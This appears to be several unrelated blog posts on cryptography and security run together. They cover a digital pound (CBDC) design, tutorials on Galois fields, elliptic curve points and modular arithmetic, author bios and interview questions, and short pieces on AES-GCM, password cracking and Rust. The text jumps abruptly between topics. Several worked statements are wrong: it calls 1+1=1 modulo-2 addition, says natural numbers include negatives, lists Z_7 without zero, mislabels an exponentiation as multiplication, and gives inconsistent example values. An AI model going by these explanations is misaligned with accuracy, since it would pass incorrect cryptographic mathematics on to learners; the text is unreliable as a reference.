Figure 3: Cryptocurrency transaction using ERC20 tokens (red line) The state-of-the-artThere are several existing models for a CBDC, including Project Hamilton, and which is a collaboration between the Federal Reserve Bank of Boston (Boston Fed) and MIT [1]:
The targets are for a minimum of 100,000 transactions per second and for 99% of all transactions to be completed within five seconds. There should be no loss of funds in the event of a data outage, and privacy is a fundamental part of the design.
An important element of the design is the use of intermediaries and custody. In terms of trust, we have intermediaries — such as banks, and payment service providers — and which are custodians of the digital wallet. But there is the opportunity for customers to own their own digital wallets — as with an Ethereum wallet. The model can then be “direct” — customer-to-central bank, or “two-tier” — central bank to intermediatory (Figure 4).
Figure 4: Two-tier model — central bank to intermediatoryThe proposed method decouples fund checks with transaction validations. Funds are stored as a 32-byte hash value with an Unspent funds Hash Set (UHS) — Figure 5. The transaction has a similar format to Bitcoin.
Figure 5: Unspent funds Hash Set (UHS) Economic concernsThe speed of the transactions and the ease of access to digital currency could enable economic risks
Reduced lending opportunitiesAs the digital coins are moved to a wallet, they will thus be out of the control of a bank, which means that they could not lend the money to another person — which kinda defeats one of the main functions of a bank. If too much of this money was moved to wallets, it could cause the lending system to stall.
Bank runsThere have been many occurrences of runs on banks, including with Northern Rock. With this, customers queued to get access to the funds, and which generally slowed down the pressures on withdrawals. With a digital pound, this could be made much worse, as customers could withdraw their funds with a simple transfer. Banks could thus risk a run on their funds.
Cybersecurity?Generally, we trust our banks to look after our money. With a digital wallet, attackers could target hacks, which could have lower levels of control on access to the wallet.
A core part of the Bank of England’s strategy for the digital pound is to develop resilience in both the technical and financial disuptions involved [2]:
Technical challengesThe enablement of a CBDC brings many technical challenges.
Privacy and auditabilityThere is a significant balance between privacy and auditabilty. The use of zero-knowledge proofs will allow for privacy within transactions, but this will hide the sender and recipient of a transaction. This privacy, though, can restrict auditability and reduce the opportunities for law-enforcement investigations.
ProgrammabilityMost current models must have the full state transition of a transaction to be in-place for a transaction to go ahead (to avoid double spending). Within contract implementations, there may be intermediate states that allow for the digital pound to exist in an intermediate state awaiting an event. For example, Bob might commit to paying Alice for a new car, but she will not accept shipping the car until Bob commits the funds. Once she ships the car, the funds would then stay pending until Bob confirms its receipt. This smart contract associated with the transaction would thus need to store the state of the intermediary state, and not release the funds to Alice until there is a digital proof of receipt from Bob (Figure 6).
Figure 6: Programmability InteroperabilityA major focus for the digital pound must be the interlinkage with existing Layer-2 payment channel networks. This would also support cross-border transactions but will require integration with other CBDCs in other countries.
Offline paymentsIn the likely model for the digital pound, there is an interaction between the central bank, and the transacting parties (Bob and Alice). In some circumstances, there could be no Internet connection, and thus there needs to be an offline transaction. This type of transaction will likely require a secret enclave to be setup on a hardware payment device so that the transaction could not be tampered with.
Minting and redemptionIt is likely that the CBDC will be responsible for minting and removing the digital tokens. Each of these would be digitally signed by the issuing bank. But, the great risk here is the use of the private key to sign the transactions of the central bank. If an insider in the Bank of England gained access to this, then tokens could be issued or even removed by malicious entities — this is equivalent to printing forged bank notes.
ProductionizationWhile models exist as prototypes, the scale-up to a national level would involve extensive design and implementation skills to make sure there were no ways to compromise the infrastructure.
Denial of service attacksIn a model where Bob and Alice own their private keys, there are no fees for a payment. This means there is no cost to support payment transactions, which means that it could be susceptible to a Denial of Service against the infrastructure — as it will not cost anything to flood the system with valid and invalid transactions. Likely mitigations here are rate-limiting, and the enforcement of a cool-off period before money can be respent on another transaction. Along with this, there could be proof-of-work transactions (such as computing a hash value of a given complexity for each transaction), or fees charged for a given volume of transactions.
Quantum resistanceExisting public key encryption methods — such as ECC and RSA — are at risk against quantum computers. The infrastructure that we create must be resilient to a medium-term attack against transactions. Currently, NIST has defined that Dilithium, FALCON and SPHINCS+ are the preferred solutions for digital signatures, and should replace RSA and ECDSA signatures. For key exchange, Kyber is recommended as a replacement for ECDH. It is likely that any digital currency will support these methods, alongside existing public key methods — but will migrate in time to the post-quantum robust methods.
ConclusionsIt is an exciting time. A digital currency will open up new areas of innovation, but one slip-up could bring the whole of the financial infrastructure down in an instant. I repeat again, this is not cryptocurrency, but a trusted digital payment infrastructure. There are good opportunities to improve the detection of fraud and scamming, and truly move to a more trusted financial world.
References[1] Lovejoy, J., Fields, C., Virza, M., Frederick, T., Urness, D., Karwaski, K., … & Narula, N. (2022). A high performance payment processing system designed for central bank digital currencies. Cryptology ePrint Archive.
[2] The digital pound: Technology Working Paper, Bank of England, 2023.
Scott Helme is a Security Researcher, Entrepreneur and International Speaker. He is the creator of the Report URI and Security Headers Web site. More details:
https://scotthelme.co.uk/
I will bet you, that you have a memory of school where you had the “pleasure” or, most likely, the “nightmare” of performing long addition or long subtraction, and where you had carry overs between columns. The units carried over in the tens, the tens into the hundreds, and so on. And, then, you encountered long multiplication with those ever growing list of numbers.
And, please forgive me, you progressed to long division, and you had that divisor dividing into your number and with the bar along the top, and where you put your result, and which those pesky remainders. “Oh, teacher, 61 divided by 9 is 6 remainder 7”. And, didn’t you love throwing away that remainder and just making the answer 6. But, in cryptography, the remainder is the bit we like, and we throw away the other bit. So for us, 61 mod 9 is 7.
So, just take a pause now to just calm yourself for those memories. If you want to leave now, please do so, as we will revisit some of these memories, but, hopefully, we will make things a whole lot more simple.
To these additions and multiplications in an electronic circuit or some software code can take many operations. But, just imagine a world where you did not need to carry over values from one column to another, and even where all you had to add or multiply was a 0 and 1, life would be so much easier, and these school nightmares would end for you, and life would be so much happier for your kids in learning maths.
For example, if we have a binary adder we have 0+0=0, 1+0=1 and 1+1=0. As we see a simple binary adder just throws away that pesky carry. If we add 1+0+1+1+1+0, we see an answer of 0. But in our normal maths, to add 7+4+3+9+8 requires us to add up the units, and carry over in the 10s column. For simplifying things we turn to Évariste Galois.
Évariste Galois — who lived from 1811 to 1832 — died of duelling wounds at the age of 20 but left a great legacy. While he was a teenager, he worked on polynomials and laid down the principles of Galois’s theory — along with defining the concept of a finite field.
Creating the reverse operationAs we have seen from the previous podcasts, we have values in a group, and then can operate on these to get another value in the group. So, if we have a group of 0 to 16, we can constrain our values with a (mod p) operation, and where p is a prime number.
For example, if we use a prime number of 17, and we take a value of 2 and then raise that to the power of 5 and take the mod of 17, to get 15:
>>> pow(2,5,17)15For all of the values from 0 to 16, we should (hopefully) get different mappings for the output. This will then allow us to reverse back by taking the inverse operation to the modulo power. This, as we have seen from a previous podcast, is to subtract one from the prime number (PHI=p-1), and perform an inverse of the base modulo of the prime number minus one. A simple Python program gives us the result for the inverse:
>>> pow(5,-1,16)13If we now multiply our result of 15 by 13 and take (mod 17), we magically get our value back again:
>>> pow(15,13,17)2In this way, we aim to reverse our mathematical operations, and where there is no confusion about the reverse operation.
Simplifying thingsUp to now, we have seen that we have operated on our normal arithmetic operations for the (mod p) such as add, subtract, multiply and divide, but we can simply things even more if we have a field which has 2^n elements, and where if n is 8, we can have 256 elements. 256 elements, for example, is the number of values we can have for a byte of data in a computer system. If so, we can convert our bit values of our integers into a polynomial, and then operate on them as polynomial operations, such as:
(x²+1)+(x) = x²+x+1
This, as we will see, significantly reduces the complexity of our arithmetic operations, and rather than have complex circuits for adding (with carry overs) and multiplying (and where we end up with a value which has more bits than the inputs values), we constrain the calculation within our finite field. Along with this we then just need simple 1-bit adder or multiplication operation. So from complex adding and subtraction circuits in hardware or with software operations, we end up with simple bit operations. This vastly increases the speed of our cryptographic operation.
This is a Galious field, and defined more generally as GF(p^n), and where p is a prime number. But, in most cases, p will be 2.
Arithmetic operationsWithin a finite field, we limit the number of possible values in a group. As we have seen this can be a prime number and where we get a group from 0 to p-1, and where we can perform our mathematic operations with the (mod p) operation. And, so, even though we have a finite field, we still want our maths to still operate as normal. The rules for every element in the group is:
Within our finite field in cryptography, we want all of these to work, so that we can reverse any operation that we can apply.
A Galois fieldWithin a field, we can operate on values in the field using arithmetic operations. We can thus have an infinite field and where we could include all of the possible integers. A Galois field of GF(p^n) has p^n elements. Typically we use GF(2^n). And so GF(²⁴) has 16 values in the field. Let’s say we have GF(2^n) and have a number a∈{0,…,2^n−1}, we can represent it as a vector in the form of a polynomial:
a=a0+a_1 x+a_2 x²…a_{n−1} x^{n−1}
If we use a_n∈{0,1}, this is exactly the same as representing a binary number modulo 2^n. In this, x^n represents bit position n and a_n is the value of the bit at position x^n. If a bit is a zero at a given position, it will be not included in the polynomial equation.
First, let’s talk about modulo-2 operations. For this, an addition is:
0+0 = 0, 0+1 = 1, 1+0 = 1, 1+1 =0 (an EX-OR gate)
and for multiply we have:
0*0 = 0, 0*1 = 0, 1*0 = 0, 1*1 =1 (an AND gate)
So, 1011 can be represented by x³+x+1 and 1010 is represented as x³+x. We can then perform arithmetic operations on these polynomial values. So, to add two values of 1010+1100 we can represent this as (x³+x)+(x³+x²) and which is x²+x as we are using modulo 2 addition, and where x³+x³=0. With modulo 2 addition, 0+0=0, 0+1=1, 1+0=1, and 1+1=1.
An example of Galois Fields is within AES (Advanced Encryption Standard) and which uses a finite field GF(²⁸). With AES we operate on bytes (8 bits) in the form of b_7 b_6 b_5 b_4 b_3 b_2 b_1 b_0 and which are operated on a a polynomial of b_7x⁷+b_6x⁶+b_5x⁵+b_4x⁴+b_3x³+b_2x²+b_1x¹+b_0.
Oh, and we don’t have prime numbers any more, we have irreducible polynomials or primitive polynomial, and which are polynomials that cannot be factorized into polynomial factors.
https://asecuritysite.com/gf/gf2
This operatives in a similar way to our (mod p) operation, and where we can reduce a result into the group, and just take the remainder from a division.
A few examplesLet’s take a few examples to illustrate this.
Example 1. For a=x²+x+1 (7–111b) and b=x+1 (3–011b) with a primitive of x⁴+x+1 (GF(2⁴)), for addition we get x² (4–100b), and for multiplication we get x3+1(9–1001b):
Add=(x²+x+1)+(x+1)=x²
Mult=(x²+x+1)×(x+1)=x³+x²+x²+x+x+1=x³+1
As we are using modulo 2 addition, then x+x=0 and x²+x²=0. As the power of the multiplication is not greater than x⁴ and above, there is no need to divide by the primitive polynomial. The following is a sample run:
a: 1x^2 + 1x + 1b: 1x + 1b^{-1}: 1x^3 + 1x^2 + 1xp: GF(2^4) [1, 0, 0, 1, 1]Add: 1x^2Subtract: 1x^2Multiply: 1x^3 + 1Divide: 1x^3 + 1x^2For the division, we determine the inverse of b and then multiply by a. In this case we have a×b^{−1} = (x²+x+1)×(x³+x²+x)=x⁵+x⁴+x³+x⁴+x³+x²+x³+x²+x=x⁵+x³+x. As we have a higher power that the field, we now need to divide by the primitive (x⁴+x+1) and get the remainder:
__x______x^4 + x+1 | x^5+ x^3 + x x^5 + x^2 + x -------- x^3+ x^2This the result of the divide is then the remainder value of x³+x². You can try the example here.
Example 2. For a=x³ (8–1000b) and b=x²+1 (5–101b) with a primitive of x⁴+x+1 (GF(²⁴)), for addition we get x³+x²+1 (13–1101b), and for multiplication we get x³+x²+x (14–1110b).
Add=(x³)+(x²+1)=x³+x²+1
Mult=(x³)×(x²+1)=x⁵+x³
Now we divide x⁵+x³ by the primitive (x⁴+x+1) and get the remainder:
__x______x^4 + x+1 | x^5+x^3 x^5 +x^2+x -------- x^3+x^2+xThus the result of the multiplication is the remainder of x³+x²+x.
a: 1x^3b: 1x^2 + 1b^{-1}: 1x^3 + 1x + 1p: GF(2^4) [1, 0, 0, 1, 1]Add: 1x^3 + 1x^2 + 1Subtract: 1x^3 + 1x^2 + 1Multiply: 1x^3 + 1x^2 + 1xDivide: 1x^2 + 1x + 1You can try the example here.
Example 3. For a=x³+1 (9–1001b) and b=x²+1 (5–101b) with a primitive of x⁴+x+1 (GF(2⁴)), for addition we get x³+x² (12–1100b), and for multiplication we get x³+x+1 (11–1011b).
Add=(x³+1)+(x²+1)=x³+x²
Mult=(x³+1)×(x²+1)=x⁵+x³+x²+1
Now we divide x⁵+x³+x²+1
by the primitive (x⁴+x+1) and get the remainder:
__x______x^4 + x+1 | x^5+ x^3+x^2 +1 x^5 +x^2+x -------- x^3+ x +1Thus the result of the multiplication is x³+x+1 (11- 1011b).
a: 1x^3 + 1b: 1x^2 + 1b^{-1}: 1x^3 + 1x + 1p: GF(2^4) [1, 0, 0, 1, 1]Add: 1x^3 + 1x^2Subtract: 1x^3 + 1x^2Multiply: 1x^3 + 1x + 1Divide: 1x^3 + 1x^2You can try the example here.
Example 4. For a=x²+x+1 (7–0111b) and b=x³+1 (5–1001b) with a primitive of x⁴+x+1 (GF(2⁴)), for addition we get x³+x²+x (14–1110b), and for multiplication we get x³+x (11–1010b).
a: 1x^2 + 1x + 1b: 1x^3 + 1b^{-1}: 1xp: GF(2^4) [1, 0, 0, 1, 1]Add: 1x^3 + 1x^2 + 1xSubtract: 1x^3 + 1x^2 + 1xMultiply: 1x^3 + 1xDivide: 1x^3 + 1x^2 + 1xYou can try the example here.
Example 5. For a=x²+x (6–110b) and b=x⁴+x²+1 (21–10101b) with a primitive of x⁶+x⁵+x⁴+x³+x²+x (GF(2⁸)), for addition we get x⁴+1x+1 (19–10011b), and for multiplication we get x⁶+x⁵+x⁴+x³+x²+x.
a: 1x^2 + 1xb: 1x^4 + 1x^2 + 1b^{-1}: 1x^4 + 1x^2 + 1x + 1p: GF(2^7) [1, 0, 0, 1, 1, 1, 0, 1]Add: 1x^4 + 1x + 1Subtract: 1x^4 + 1x + 1Multiply: 1x^6 + 1x^5 + 1x^4 + 1x^3 + 1x^2 + 1xDivide: 1x^6 + 1x^5 + 1x^4 + 1xWith addition, there will be no need for the irreducible polynomial.
You can try the example here.
The code is:
from galois_field import GFpn# Generating the field GF(2^4)# irreducible polynomial. (in this case, x^4 + x+1)import sysa=[1,1,0]b=[0,1,0]p=[1,0,0,1,1]if (len(sys.argv)>1): a=eval("["+sys.argv[1].replace(" ","")+"]")if (len(sys.argv)>2): b=eval("["+sys.argv[2].replace(" ","")+"]")if (len(sys.argv)>3): p=eval("["+sys.argv[3].replace(" ","")+"]")try: gf = GFpn(2,p )except Exception as e: print ("Error:" ,e) sys.exit()# Generating an element in GF(2^4)aval = gf.elm(a) # x^2+x+1bval = gf.elm(b) # x# Arithmetic operationsaval + bval # 1x^2 + 1aval - bval # 1x^2 + 1aval * bval # 1x^3 + 1x^2 + 1xaval / bval # 1x^3 + 1xprint ("a:\t\t",aval)print ("b:\t\t",bval)print ("b^{-1}: ",bval.inverse())print ("p:\t",gf,p)print ("\nAdd:\t\t",aval + bval)print ("Subtract:\t",aval - bval)print ("Multiply:\t",aval * bval)print ("Divide:\t\t",aval / bval) Irreducible PolynomialsWithin polynomials, the prime number equivalents are known as irreducible, as they cannot be factored. I will come back to irreducible polynomials later in this series, but for now, you can read up on them at:
https://asecuritysite.com/gf/gf2
ConclusionsAnd, so, you made it to the end of this podcast. If you managed to understand everything here, you deserve a crypto medal. If not — for most — you should try and read over and eventually, it will sink in — slowly at first, and then you will get bits and pieces of knowledge, and eventually, it will make sense. This is one of the reasons I love cryptography — and teach and research the field — as, every day, I learn, but my learning was so much deeper once I really understand why we did all these complex-looking things, and to get behind the maths. I hope I have not given you nightmares of school and with long multiplication and division, but if I have, I can calm you that the maths we use in cryptography is so much simpler, and where you just have to know how to count just a 0 and a 1. Life is so much more relaxed in crypto space.
In previous podcasts, I outlined the usage of discrete logarithms in the form of a=g^x (mod p). Unfortunately, we now need a relatively large prime number to make sure it is now possible to discover x from a, g and p. This slows down the creation of the discrete log value. One method which has been used to replace them in some applications is to use elliptic curve points. Later in this series, I will explain how elliptic curve cryptography actually works, but in this one, we will just look at the fundamentals of the elliptic curve points.
So what is a group in elliptic curve cryptography (ECC)? Well with this, we will map one group of points to another with a one-way function, and which should be difficult to reverse or find the method we have used to perform the mapping. As we will find, the basic operation is to either add two points in a group to create another point in the group or to double the point to get another point. With these simple operations, we should be able to perform point multiplication. The method of ECC was created independently by Neal Koblitz and Victor Miller.
So, how did I create this mapping? Well, a basic elliptic curve has the form of:
y² = x³ + ax + b
For y² = x³ + 7
If x=1, we get:
y² = 1+7
and where y is the square root of 8, which is 2.82. But, in cryptography, we only deal with integers, so we must modify this with a modular form of:
y² = x³ + ax + b (mod p)
For example, if a is zero, b is 7, and the prime is 11, we get:
y² = x³ + 7 (mod 11)
The possible points are (2, 9) (2, 2) (3, 1) (3, 10) (4, 4) (4, 7) (5, 0) (6, 5) (6, 6) (7, 3) (7, 8). e can try it, and where:
9² (mod 11) = 4 and 2³+7 (mod 11) = 4
https://asecuritysite.com/ecc/ecc_pointsv?a0=0&a1=7&a2=11
As we see, not all the points for an x-coordinate value are possible. This then leads to the order, which is the number of valid x-axis points — which is 6 in this case. W
Point double and addIn ECC, we then add points together (P+Q) or double them 2.P and get a new point. With this, it is difficult to reverse back the addition or doubling and find the original point.
For y²=x³+7 (mod 11)
The valid points are (2, 9) (2, 2) (3, 1) (3, 10) (4, 4) (4, 7) (5, 0) (6, 5) (6, 6) (7, 3) (7, 8). Now let’s take a point of (2,9) and add another point. So this, we get:
https://asecuritysite.com/ecc/ecc_points_add3?a0=2&a1=0&a2=7&a3=11
P1=(2,9) P2=(2,9) P1+P2=(5,0) P1=(2,9) P2=(3,1) P1+P2=(4,7) P1=(2,9) P2=(4,4) P1+P2=(3,10) P1=(2,9) P2=(6,5) P1+P2=(4,4) P1=(2,9) P2=(7,3) P1+P2=(3,1)
and so we see when we do a point add, we always get another point on the curve, but where it is difficult to reverse back to the points which resulted in this point.
Multiplying pointsSo, can we multiply points in an efficient way? Let’s say we have G, and want to add it to itself n times. We could represent this as n.G. For this, Peter Montgomery created a method known as the Montgomery Ladder.
The basic method is:
N ← P Q ← 0 for i from 0 to m do if di = 1 then Q ← point_add(Q, N) N ← point_double(N) return QFor a=100 we have a binary value of 1100100:
The result is then Q=4G+32G+64G=100G. Overall, the great advantage of this method is that we will always take the same time to compute the answer, no matter the size of the value of n. This is useful, as some cryptographic operations leak information from the time they take to compute the result. The only problem here is that the double point and point adding will have a different amount of time to compute than just the point double, and where Eve could determine if there was a 0 or a 1 in the value of n.
https://asecuritysite.com/ecc/ecc_kr2
Public key encryptionSo how is this used in public key encryption? We first pick a base point (G) on the elliptic curve. For our example, we could pick (2,9). Next, we then pick our private key (sk). Our public key is then pk=sk.G, and where G is added to itself sk times. Our private key is thus a scalar value, and our public key is an elliptic curve point. We use this in terms of digitally signing a message, and where the private key (sk) is used to create a digital signature, and the public key validates it. The most popular methods for this are ECDSA (Elliptic Curve Digital Signature Algorithm and EdDSA (Edward Digital Signature Algorithm). I will explain these more in a future podcast.
ConclusionsAnd, so, for our elliptic curve, we don’t always have a valid (x,y) point, but for our Weierstrass curve, sif we do, we end up with two y values for every x coordinate. With our points, we conduct two simple operations, a point addition and a point doubling.
A fundamental element in cryptography is the mapping of one group to another and then being able to map back again. In this, there should be no confusion about the mapping and where it should be deterministic in the mapping — that is, no matter how many times we do it, we will always create the same mapping. Obviously, we can add some randomisation into the process, but with the same randomization, we always get the same mappings.
In the previous podcast, I showed how a group of A={1,2,3,4} will map to B={2,4,3,1} using a mapping of b=g^a (mod p). We see that every element of A has a one-to-one mapping from A to B. We then aim to have a mapping back from B to A, and recover the original value.
Arithmetic operationsAnd, so, encryption (the mapping of A to B) can become a mathematical operation, and then where the decryption (the mapping of B to A) is basically just the reverse of our encryption process. And, so, remember those puzzles as a child.
Think of a number. Now add 10 and double it. Take away 7. Add 5, and half it. The answer is 9. Of course, this is a trick, and where we get:
[(2(x+10)-7+5)/2]-x =[(2x+20–7+5)]-x = [(2x+18)/2 ]-x= [x+9]-x = 9
For this, we are basically just reversing back the method we quote in the track. And so, for encryption, we could multiply by 9, and add 14 to get our cipher value. To decrypt, we would reverse the operations so that we subtract by 14 and then divide by 9. But, in cryptography, we have a finite field in our group and thus use the (mod p) operation to constrain our integers. Luckily, all our arithmetic operations still work if we use the modulo of a prime number.
Adding and subtractingLet’s try to add, with x=8 and y=12, and use a prime number of p=11.
If we do: (x+y) (mod p) is it the same as x (mod p) + y (mod p). And, so:
8 (mod 11) + 5 (mod 11) = 13 (mod 11) = 2
Now we will try:
(8+5) (mod 11) = 13 (mod 11) = 2
So can we now subtract b from the result?
2–5 (mod 11) = -3 (mod 11) = 8
Thus if we had an operation to add to values in a group and then reverse them. This goes for modulo multiply and then divide.
Multiplying and divideNow let’s try to multiply and divide. For this, we will multiply our values by four modulo 5. This will get:
>>> (1*3)%53>>> (2*3)%51>>> (3*3)%54>>> (4*3)%52We ignore the zero for the set in A, as we will always get the same result. Thus we map {1,2,3,4} to {3,1,4,2}. Now we need to divide by three modulo 3. For this, we create the inverse mod of the value and then just multiply. This is basically:
a/b (mod p) = a* b^{-1} (mod p)
Basically, it is the value of x which will make this true:
b.x (mod p) = 1
This x is thus the multiplicative modular inverse value of b. So, let’s find the inverse of 3 (mod p):
>>> pow(3,-1,5)2Note that the pow(x,y,p) function is x^y (mod p). Thus to divide by 3 (mod 5), we multiply by 2. Let’s try it:
>>> (3*2) % 51>>> (1*2) % 52>>> (4*2) % 53>>> (2*2) % 54and so we get our original values back. Thus we use an inverse mod to reverse a modulo multiplication.
ExponentiationAnd, so, we can see that adding, subtracting, multiplying and dividing work with the modulo operations. Let’s try exponentiation. For this, we can have:
b = a^x (mod p)
If we try x=3 and p=5, we get:
>>> (1**3) % 51>>> (2**3) % 53>>> (3**3) % 52>>> (4**3) % 54Thus {1,2,3,4} maps to {1,3,2,4}. But what about the reverse? Well, we need to use an inverse log modulo p function. With this, as in the RSA (Rivest Shamir Adleman) public key method we find a value for a^x (mod p) so that:
x*y (mod PHI) = 1
and where PHI is (p-1). Now we compute:
>>> pow(3,-1,4)3So we can go ahead and now reverse and find the inverse log for {1,3,2,4} (mod 5):
>>> pow(1,3,5)1>>> pow(3,3,5)2>>> pow(2,3,5)3>>> pow(4,3,5)4And, so, we have reversed our modulo logarithm. Overall, the magic of PHI is at the core of the RSA method and where we can reverse the exponentiation operation. For this, we have a cipher of:
C= M^e (mod N)
and then can reverse with a value of d which is computed from:
d = e^{-1} mod PHI
and where PHI is (p-1)(q-1). We recover the message with:
M=C^d (mod N)
In this case, we actually have two prime numbers (p and q), and which are multiplied together to give the modulus (N).
ConclusionsAnd, so, all we need to constrain our mathematical operations on our groups is the (mod p) operation.
The problem with cryptography is that many miss some fundamental knowledge that will allow them to fully understand the key operations that are used. So, in this series of blogs, I try and explain some of the core concepts that secure our online world. Every single time that you connect to the Internet, the privacy and trustworthiness of your connection are dependent on some magical cryptographic operations.
In our world of numbers, we have N (natural numbers — positive or negative integer values), Z (integers), R (real numbers) and C (complex numbers). for this. Natural numbers can go from minus infinity to plus infinity, while integers constrain these into a ring. A ring might be from 0 to 16, and the 17 goes back to 0, and so on. If we go to -1, that is 16, -2 is 15, and so on.
For cryptography, we use the Z double-struck or blackboard bold symbol, where we typically define a group of numbers.
For this, we represent Z_n as the numbers from 0 to n-1. So, Z_7 is {1,2,3,4,5,6}. There is another group we use; the multiplicative group of integers modulo n Z_n*. This excludes the values which are a factor of n.
Z_7 will be {1,2,3,4,5,6}
Z_{12}* will be {1, 5, 7, 11} [here]
[Note: In the podcast, I said Z_16* and which will be: {1, 3, 5, 7, 9, 11, 13, 15}. 16 is 2x2x2x2, so any value with a factor of 2 in it will not be included. I will outline this in a future episode.]
So a group is basically a set of integers, and where we map from one group to another one. If we think about two sets A and B, and then create a mapping between the numbers in A to B, and vice-versa. For encryption, we want a 1-to-1 mapping from every value in A to B, and then for us to be able to reverse back from B to A.
So, if we have a set of numbers of A={1,2,3,4} we might map these to B={2,4,3,1}. If we have a value of 1 in A, it will map to a 2 in B. Then, in B, we would map back from 2 to 1. In cryptography, we typically want to make it easy to go from A to B (encrypting), but difficult to go from B to A (decrypting) — unless we know a secret.
In this example, I have used a discrete logarithm mapping with a base generator of g and a prime number:
b=g^a (mod p).
For the mapping of {1,2,3,4} to {2,4,3,1}, I have used g=2, and a prime number of 5.
b = 2¹ (mod 5) = 2 (mod 5) = 2 b = 2² (mod 5) = 4 (mod 5) = 4 b = 2³ (mod 5) = 8 (mod 5) = 3 b = 2⁴ (mod 5) = 16 (mod 5) =1
This will be cyclic, and where {1,2,3,4,5,6,7,8} will map to {2,4,3,1,2,4,3,1}. For this, we have constrained within a finite field of between 0 and 4 (or p-1).
We can see that this gives us a 1-to-1 mapping for each of the elements of our first set to the other set. Every value in B can be reversed back to its original value in A.
To reverse, though, we would need to compute the inverse log of the value in B for mod p — this is not so easy:
a =log_g(b) (mod p)
And this is the core difficulty of the discrete logarithm problem. It is this problem that secures the Internet.
To show you the difficulty of this, if I use a prime number of 2²⁵⁵-19 and a g value of 2. You will find it extremely difficult to find the x value I have used for:
b=25446473684081445734643481619349383496577344937808306324243206897292518839288
If you are interested, the answer is a=431342352456346734652345427573451341234132414341365756845234234234523
In Python, here’s the solution:
>>> a=431342352456346734652345427573451341234132414341365756845234234234523>>> p=2**255-19>>> g=2>>> b=pow(g,a,p)>>> print (b)25446473684081445734643481619349383496577344937808306324243206897292518839288So, watch out for the next podcast…
How did you get started in this industry?
What are the three key tech/software tools that you depend on the most?
What is your favouriate book or podcast?
What is the most important thing you have learned in your career?
What advice would you give your younger self?
Who inspires you?
Steve is a Professor of Cyber Security in the School of Computer Science at the University of Nottingham, as well as an Adjunct Professor at Edith Cowan University in Western Australia and an Honorary Professor at Nelson Mandela University in South Africa. He is also the Chair of Technical Committee 11 (Security and Privacy Protection) within the International Federation for Information Processing, as well as a board member of the Chartered Institute of Information Security and chair of the academic partnership committee.
His main research interests are broadly linked to the intersection of human, technological and organisational aspects of cyber security. Within this, specific themes of interest include the usability of security technology, security management and culture, cybercrime and abuse, and technologies for user authentication and intrusion detection. Related to this, he has authored over 330 papers in refereed international journals and conference proceedings, as well as various books, chapters, and professional articles.
https://www.nottingham.ac.uk/computerscience/People/steven.furnell
Never in the history of humankind have we advanced so fast. In just 40 years, we have built a new era and have said goodbye to the industry age. But will our future be an amazing world of opportunity where every citizen has the same opportunity as any other, or will we end up in a 1984 Big Brother world? At the core of this is the debate around privacy. Bruce Schneier sees this as a core element in building our digitally focused societies:
“Privacy is an inherent human right, and a requirement for maintaining the human condition with dignity and respect. It is about choice, and having the power to control how you present yourself to the world.”
and:
“Google knows more about what I’m thinking of than I do, because Google remembers all of it perfectly and forever.”
and for our new digital world:
“One hundred years ago, everyone could have personal privacy. You and your friend could walk into an empty field, look around to see that no one else was nearby, and have a level of privacy that has forever been lost.”
In my career, there was a time before I read Secrets & Lies … and there was a time after I had read it. It completely changed my focus. In fact, no other author (apart from George Orwell) has had an effect on my thoughts on the future world:
Bruce showed me a vision of the most trusted world. He made public key encryption interesting, and I could immediately see how cryptography could be used to rebuild our flawed digital world. I now teach and research cryptography, and I love the subject. I thank Bruce for taking me away from network switching and routers and showing me the beauty of a subject where you learn every single day.
We live in a strange world of cybersecurity. An auditor might ask a company if they encrypt their data? And the company may reply that they do, and so the auditor would tick that off. But encryption does not just involve the privacy of data; it also involves integrity checking and setting up digital trust. Along with this, there are many ways to implement methods, including key derivation, public key integration, hashing methods, and encryption modes. And, so, last week I outlined how some AES modes can be easily modified.
And so, someone asked me why I recommended GCM (Galois Counter Mode)? Well, GCM integrates integrity into the cipher. It is built on CTR (Counter) mode and is a stream cipher. This makes it fast. Along with this, we can add additional data into the ciphertext — and which defends against playback attacks. At the core of this is the Galois Message Authentication Code (GMAC).
In cybersecurity, you get those who pedal snake oil, and others that just try to scare you. The gap is that the advice is not given in an educated way, and basically just scares people (or gets them to buy the latest security product).
These days, the chances of someone cracking your password from a hashed version is likely to be minimal. For one, the chances of getting access to the hashed version of a password is extremely low, and for two, the password is typically stored in a way that will make it extremely costly — such as requiring the cost of electricity to boil a lake (or loch, in Scotland) — to crack it.
But, still, we get them from those who aim to “educate” (aka “preach”) us on Cybersecurity. Telling us not to share our passwords or to not click on spear-phishing links are better approaches than asking us to use long and complex passwords. As humans, we kinda lose it once we go over 10 characters. And, HashCat, too, knows all our little tricks for passwords (eg we typically always have one upper case letter and put it at the start) — where so-called complex passwords can be just as easy to crack as short and simple ones.
And, too, the days of Microsoft Windows XP are past, but some still think we are living in that world. These days, even Microsoft uses encrypted passwords with a slow hashing method. Linux, too, uses the best of breed for its password hashing, and where it would cost you your mortgage for a single brute force password crack. The industry has moved on — and has learnt from its mistakes, but some are still stuck in the past.
Ask anyone who has forgotten their Bitcoin wallet password — and I get continual questions from many people about this — about how difficult it is to recover it through brute force methods. A nine-character password, for example, on a Bitcoin wallet will take you over 59 million years — and inflation is likely to have made your Bitcoins worth very little — and you will be dead!
Link: here
The worm is turning!
C and C++ have ruled the core of our digital world for a long time and still do. But, they do not handle memory well, where we get buffer overflows (Morris Worm, SQL Slammer, and so many more) or buffer underflows (Heartbleed). This can involve a stack overflow attack, and where the program writes too much data to the stack that has been allocated for a given buffer, and for a heap overflow attack, where we overrun the memory into a space that is not allocated for a buffer.
These problems often allow adversaries to write data into places that it was not intended for or can cause an exception in the handling of the code (and thus cause a problem to act unreliable). A typical area is to overwrite memory that is allocated for other purposes and then cause a Denial of Service (DoS) against the code — and where it just stops working.
Along with this, developers often do not clean up their variables, so a garbage collector must come in and free up memory that is not being used anymore.
But, Rust just doesn’t allow you to do these things. It has strict checks on the usage of variables at compile time, and if you do something bad with them, it will tell you and refuse to compile the code.
In 2015, Rust was born, and in eight short years, many of the major software companies have adopted it as the core of their systems. Google was one of the early adopters but is now joined by Microsoft, who are developing their core code with Rust.
But, there are many questions … how long will it take to learn the language and will it make developers more productive? The following relates to research conducted in Google which answers these questions [here]. For this, Google did a survey of 1,000 of their developers.
Some Rust and Cryptography is [here].
